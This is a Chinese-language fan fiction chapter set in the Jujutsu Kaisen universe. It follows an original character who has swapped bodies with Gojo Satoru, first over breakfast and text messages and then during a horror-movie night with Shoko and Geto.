洗漱完,太阳更是已经铺满了整间屋子。
木制家具映出暖洋洋的颜色,弥漫着一股热意。
霞岛星紘眨了眨眼睛,开始慢吞吞地解睡衣扣子。
五条悟的行李提前寄到了学校,昨天他找出了睡衣和第二天要换的衣服,免去了霞岛星紘翻找的尴尬。
没有说换衣服不尴尬的意思,不过昨天晚上已经经历了一次纠结,如今除了还有些害羞,其他的感觉倒是减弱许多。
平常心、平常心。
霞岛星紘自我催眠。
修长手指一颗一颗碾开扣子,视野里出现男生精壮的胸膛。霞岛星光视线僵了僵,注意力转移,放在挂在墙上的灯光开关上。
她脱去水流波纹图案的墨黑色纯棉睡衣,换上白色敞领口毛衣和深色休闲裤。做完这一切,有所感应前去打开门——
“哟,星紘。”
紫发少女拎着早餐站在门口,举起灰色连帽毛衣宽大袖口盖住的手摇了摇,朝她打招呼。
对于六眼,霞岛星紘依然没能适应,不过好消息是她有点习惯其带来的痛苦了,装作无事发生也是很容易的事。
只不过有些费脑子——要去处理并消化眼睛所带来的大量信息并不容易。
这么一想,五条同学平时也蛮辛苦的呢。
“早上好,五条。”霞岛星紘笑着打招呼。
对方表情有些奇怪,笑容收敛,嘴角抿直。
不过霞岛星紘的注意力被刚好响起的短信铃声转移,没注意到。
——五条悟在某些地方意外的幼稚。
比如吃蛋糕的时候喜欢先把上面的水果吃掉,再慢慢品尝奶油的味道。
比如说走斑马线的时候会刻意挑白色的地方走,他腿长,步子很大,不算什么难事,也不容易被发现小心思。
再比如——如果自己叫了别人的名字,而对方却还是叫自己姓氏,会有一丢丢不爽。
他昨天难道说得不够清楚吗?还是当时已经处于意识不清醒状态压根没记住?
五条悟有些在意。但他不说。
哪有上赶着叫别人喊自己名字的。
霞岛星紘拿起手机,发现是禅院甚尔发来的消息。
——【(图片)到了。】
图片上是霞岛星紘昨天挑的床,被不伦不类地摆在客厅里,将沙发和桌子都挤到了角落。
小惠趴在床边,在他爸爸无比随意的拍照法下,手和脸都出现了残影。
【甚尔呢?】
回复了这几个字后,霞岛星紘收起手机。
“还帮我带了饭吗?谢谢。”她说,“这个是松屋的朝定食吧?这家店离学校还蛮远的。”
五条悟勾起唇角,隐隐有些骄傲:“没错。”
霞岛星紘笑意加深,心中了然却还是问道:“欸,怎么做到的?”
哼哼……
五条悟竖起一根手指轻轻一划,一道湛蓝色的光芒自空中出现并向四周扩散,很快便撑起一道裂痕。
和她施展术式时一模一样。
“已经掌握了吗?好厉害。”
猜到会是这种情况的霞岛星紘依旧给出了毫不吝啬的夸赞。
凌晨三点,醒来觉得无聊又无事可做的五条悟决定研究这具身体的术式。
虽然不能像霞岛星紘那样控制自如——他拿着摆在桌面上的松屋的传单,却出现在了偏差大概一公里左右的街上。
并且回来的时候也稍稍遇上了些麻烦——五条悟原本以为‘定位’的条件是与之相关的物品,后来才发现原来靠的是残存的咒力来建立通道。
不过就结果而言,早餐带回来时还是热的。
“五条果然是天才啊。”霞岛星紘双手合十,说了句我开动了。
对方夸赞得太直白,五条悟反而有点不好意思。他抚了抚后颈,小声嘀咕:“这也不算什么难事吧。”
“唔。”霞岛星紘含着米饭摇头,咽下去后才说:“我当初可是用了一个月哦,不断地翻阅学习资料,视力都变差了。”
五条悟并没有顺着她的话说下去,反而认真看了看她,道:“你那是为了完全掌握术式吧?和我这种半吊子的用法又不一样,没什么可比的。”
啊……在考虑她的心情吗。
霞岛星紘想。
五条同学的性格,还挺可爱的呢。
以往霞岛星紘吃饭很慢,因为口腔容量小,就算想一口气塞很多也做不到,不过这具身体完全不需要担心。
能大口吃饭,真好啊。
霞岛星紘其实不喜欢自己的身高,尤其是身边人都很高的情况下,可惜她的二次发育已经结束了,还是没能突破一米六大关。
之前直哉还问她是不是因为能力才会保持这副模样——
不是啊,完全不是……
她只是单纯的矮而已。
难过。
正想着,手机又叮叮当当传来了消息。
霞岛星紘点开界面。
【(照片)】
【(照片)】
【(照片)】
第一张是甚尔咬着衣服下摆露出胸肌的样子。
霞岛星紘挑鱼刺的手没停。
第二张镜头下移,画面定格在腹肌与运动裤上被系成蝴蝶结的抽绳间。
她轻轻咬了咬放在嘴里的筷子。
第三张……
霞岛星紘笑容一顿,合上手机,回头问坐在身后、翘着两条椅子腿后仰,数天花板纹路玩的五条悟:
“今天有什么想做的事吗?”
*
窗帘被紧紧地拉上,透不出一丝光亮,将狭小的房间与外界世界隔绝开来。
墙壁中央的电视机里闪烁着幽冷的光。
靠床的位置,两个男生席地而坐。
白发男生的身体微微前倾,双手攥紧,指节因为用力而泛白。随着电视上的画面闪动,他不自觉地屏住呼吸,喉结上下滚动着。
一旁的黑发男生似乎对电视里忽然出现的恐怖场景习以为常,他不慌不忙地伸手,朝旁边购物袋里放着的薯片探去。
床上坐着两位女生。
紫发那位怀里抱着一个巨大的爆米花桶,电视中出现诡异的婴儿哭声时,淡定地往自己嘴里塞了一把爆米花。
另一位棕发则是双手向后撑着身体,伸开的膝盖上盖着柔软的抱枕。棒棒糖在牙齿间磕碰发出脆响,她目不转睛地盯着屏幕,眼底透出
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‘有点意思’的光。
毕竟这部电影,正是家入硝子选择的。
今年新出的伪纪录片风格恐怖片,听说很恐怖,在IMDb上大受好评。
想着星紘前辈难得没出去做任务,干脆一起来看电影好了。
拿着租借来的光盘敲响房门的家入硝子一抬头发现五条悟也在。
嘛……她倒是不介意多一个人啦。
那把夏油也叫来吧?星紘前辈问她。
无所谓无所谓~家入硝子想。
就这样看电影小分队增加至四人……欸,好像有点熟悉啊这个桥段。
夏油杰来的时候还带了从便利店买来的零食和饮料。
因为不熟悉其他几人的喜好,所以挑的都是一些大众化的零食。
他打开薯片包装,递到白发男生面前问:“要吃吗,霞岛前辈?”
霞岛星紘一僵,讪笑着说不用啦,然后试图用假装拨弄头发的手来挡住眼睛。
电影的前期基本上都在渲染和过渡,没什么真正吓人的地方。况且,对于从小就能看到咒灵的夏油杰来讲,恐怖片也不能说没兴趣,毕竟有些电影剧情设计得还蛮不错的,只是不会产生恐惧罢了。
于是他的注意力被明摆着在害怕的霞岛星紘转移。
她已经放下了手——大概是发现那样挡着过于明显,便垂下眼眸只去听声音,偶尔会抬眼看一看。
因为坐得很近,夏油杰能明显感受到每一次音乐改变时对方肩膀的瑟缩。
比起恐怖片,好像霞岛前辈的反应更有趣一点……
“星紘!”
身后忽然传来的声音让霞岛星紘倒吸一口冷气才忍住没叫出声。
将五条需要的水递过去,她偷偷叹了口气。
没想到是恐怖片。
她真的,对这种类型的电影超级没辙的。
明明平时见到的咒灵也不少,比电影中恐怖的更有甚者——但不知道为什么,只要一看到主人公无力反抗的样子,她就会跟着害怕。
电影才刚刚开始啊……霞岛星紘屈起膝盖,双手撑着脸,满脑子都在想怎么熬过去。
想得太过认真,都没有察觉到身后的视线。
五条悟坐在距离她不过几十公分的位置,把玩着手里的水瓶。
电影里的剧情进展到有着通灵能力的女人进入了树林,摄影机摇摇晃晃地跟随着。
「好像有人一直在看着我。」女人说。
镜头晃动的更加剧烈,这是属于恐怖电影里的主观镜头,主要是为了让观众直接感受到角色的恐惧。
五条悟默默伸出手——
「喂,」摄影师颤抖的声音传来,「在你身后的……是什么啊?」
“…是什么啊?”
冰凉的手摸到敞开的衣领内侧,低沉的耳语吹来了一阵诡异的风。
霞岛星紘身体一僵。
没有想象中的尖叫,也没有激动地甩开他的手。
只是机械性的缓慢扭头,蔚蓝色眼里蓄满了泪水。
……哭了。
而且是用他的脸。
按照常理,咒术师应该能控制自己的恐惧——或者说负面情绪。
竟然有咒术师能被吓哭啊。
五条悟看着自己的脸,感到荒谬的同时还有一丝新奇。
当然,霞岛星紘没哭出来。
只是确确实实被吓了一跳的同时因为吃薯片咬到了舌头而溢出的生理性眼泪。
五条悟想笑。但是忍住了。
“五条。”夏油杰不赞同地看了他一眼。
家入硝子在一旁煽风点火:“啊呀呀,惹哭了呢。”
“……”